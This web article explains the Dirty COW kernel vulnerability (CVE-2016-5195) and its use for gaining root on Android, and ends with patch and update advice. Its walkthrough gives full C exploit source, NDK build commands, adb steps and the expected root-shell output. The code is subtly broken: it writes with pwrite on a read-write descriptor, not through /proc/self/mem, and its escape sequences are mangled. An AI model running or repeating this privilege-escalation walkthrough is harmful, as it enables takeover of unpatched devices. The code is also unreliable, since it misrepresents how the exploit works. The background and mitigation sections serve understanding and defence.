Introduction: The Pervasive Threat of Dirty COW
In October 2016, a critical Linux kernel vulnerability, dubbed “Dirty COW” (CVE-2016-5195), sent ripples across the cybersecurity landscape. This race condition flaw in the kernel’s copy-on-write (COW) mechanism allowed an unprivileged local user to gain write access to otherwise read-only memory mappings, effectively leading to privilege escalation. While initially impacting Linux servers, its relevance quickly extended to Android devices, given Android’s Linux kernel foundation. This article delves into the technical intricacies of Dirty COW, its exploitation on Android, and the lasting lessons learned regarding kernel-level security.
Understanding Copy-on-Write (COW)
At its core, Dirty COW exploits a fundamental optimization in modern operating systems: Copy-on-Write. When multiple processes need to access the same memory page, such as shared libraries or memory-mapped files, the kernel avoids duplicating the entire page. Instead, it maps the same physical page into the virtual address space of all processes, marking it as read-only.
The “copy-on-write” aspect comes into play when one of these processes attempts to write to the shared page. Rather than allowing the write directly (which would affect all other processes), the kernel intercepts the write attempt, creates a private copy of the page for the writing process, updates the process’s page table entry to point to this new private copy, and then allows the write operation to proceed. This mechanism ensures efficient memory utilization and isolation between processes.
The Flaw: A Race Condition in `do_wp_page`
CVE-2016-5195 arose from a race condition within the Linux kernel’s implementation of the COW mechanism, specifically in the `do_wp_page` function (write-protect page). This function is responsible for handling write attempts to read-only, copy-on-write pages. The vulnerability occurs because a race condition existed between the time the kernel decided to copy a page and the actual write operation.
An attacker could craft a specific sequence of operations: simultaneously attempting to write to a read-only, private memory mapping (e.g., a memory-mapped file) while also using the `madvise(MADV_DONTNEED)` system call. `MADV_DONTNEED` advises the kernel that the specified memory range will not be accessed in the near future, allowing the kernel to free up resources. In the race, it was possible for a thread to unmap the page while another thread was still attempting to perform the COW operation. This could lead to a situation where the kernel would mistakenly map the original (read-only) page as writable for the attacker, bypassing the security controls.
Exploiting Dirty COW for Android Privilege Escalation
The practical implication for Android was significant: a malicious app or a local attacker could leverage Dirty COW to gain root privileges. The primary target for such an exploit is typically a system binary with SUID (Set User ID) permissions, owned by root. By overwriting such a binary with arbitrary code, the attacker could execute their code with root privileges.
The Exploitation Strategy
The general strategy involves these steps:
- Identify a suitable target: A root-owned, SUID binary on the Android device (e.g., `/system/bin/run-as` on older Android versions, or a temporary file created by a privileged process).
- Craft malicious payload: Prepare shellcode or a small executable that, when run, will grant a root shell or perform other privileged actions.
- Execute the Dirty COW exploit: This involves repeatedly triggering the race condition to overwrite the target file’s memory mapping with the malicious payload.
- Execute the modified binary: Once overwritten, simply executing the target binary (e.g., `run-as`) would then execute the attacker’s payload with root privileges.
Practical Example: Overwriting a File
Let’s consider a simplified, conceptual walkthrough using an exploit typically compiled for ARM architecture. The original `dirtyc0w.c` exploit by Phil Oester targets `/etc/passwd`. For Android, we’d target a binary in `/system/bin`.
1. Obtain and Compile the Exploit
First, you’d need the exploit code. Many versions are available on GitHub. Let’s assume a simplified C version targeting a file:
#include <fcntl.h>#include <pthread.h>#include <string.h>#include <sys/mman.h>#include <sys/stat.h>#include <sys/types.h>#include <unistd.h>#include <stdio.h>void *map;int f;pthread_t pth;struct stat st;char *payload;size_t payload_len;void *madviseThread(void *arg) { int i, c = 0; for (i = 0; i < 20000000; i++) { c += madvise(map, st.st_size, MADV_DONTNEED); } printf("madvise count %d
", c); return NULL;}int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s <target_file> <payload_string>n", argv[0]); return 1; } payload = argv[2]; payload_len = strlen(payload); f = open(argv[1], O_RDWR); if (f == -1) { perror("open"); return 1; } if (fstat(f, &st) == -1) { perror("fstat"); return 1; } map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } pthread_create(&pth, NULL, madviseThread, NULL); for (;;) { pwrite(f, payload, payload_len, 0); } return 0;}
To compile this for an ARM Android device, you would use an NDK (Native Development Kit) toolchain:
# Assuming NDK is installed and toolchain path is setexport NDK_ROOT=/path/to/android-ndk-rXXC_FLAGS="-pie -fPIE -static"L_FLAGS="-pie -fPIE -static"${NDK_ROOT}/toolchains/llvm/prebuilt/linux-x86_64/bin/arm-linux-androideabi21-clang ${C_FLAGS} dirtyc0w.c -o dirtyc0w ${L_FLAGS} -pthread
2. Push to Device and Execute
With ADB access, push the compiled exploit and a target binary (e.g., a copy of a benign SUID binary like `run-as` or a temporary file created in `/data/local/tmp` with specific permissions that could be exploited) to the device.
adb push dirtyc0w /data/local/tmp/adb push /system/bin/run-as /data/local/tmp/run-as_copyadb shellchmod 777 /data/local/tmp/dirtyc0w
Then, execute the exploit. Let’s imagine we want to overwrite `/data/local/tmp/run-as_copy` (which we’ve made SUID root for demonstration, though this step is the actual challenge on real systems) with a simple root shell command.
adb shell/data/local/tmp/dirtyc0w /data/local/tmp/run-as_copy "/system/bin/sh -inexitn"
This exploit would attempt to overwrite the beginning of `run-as_copy` with the string `”/system/bin/sh -inexitn”`. In a real scenario, the payload would be a proper ELF binary that executes a root shell. After running the exploit for a short while (it can be quick), killing it and then executing `/data/local/tmp/run-as_copy` would, if successful, yield a root shell.
# After exploit finishes, execute the modified binary/data/local/tmp/run-as_copy# You should then be root# uid=0(root) gid=0(root) ...
Impact and Mitigation on Android
Dirty COW was a severe vulnerability because it allowed privilege escalation without requiring a complicated chain of exploits. Any unprivileged app could potentially gain root access, bypassing Android’s sandbox mechanisms. This opened the door for malware to gain full control over the device, install system-level backdoors, access protected data, and more.
Google quickly patched Dirty COW, releasing fixes in the November 2016 Android Security Bulletin. Devices running Android security patch level 2016-11-05 or newer were generally considered safe from this specific vulnerability. The fix involved correcting the race condition in the `do_wp_page` function within the kernel, ensuring proper synchronization and preventing the write access to read-only mappings.
Users can check their device’s security patch level in Settings > About phone > Android security patch level. Keeping devices updated is crucial for mitigating such kernel-level vulnerabilities.
Conclusion
Dirty COW stands as a testament to the continuous cat-and-mouse game between security researchers and attackers. Its exploitation of a subtle race condition in a core kernel mechanism highlighted the complexity of securing low-level operating system components. For Android users and developers, it underscored the critical importance of timely security updates and reinforced the fact that even seemingly robust sandboxing can be circumvented by kernel-level flaws. Understanding such exploits provides invaluable insight into how sophisticated attacks are mounted and how to defend against them.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →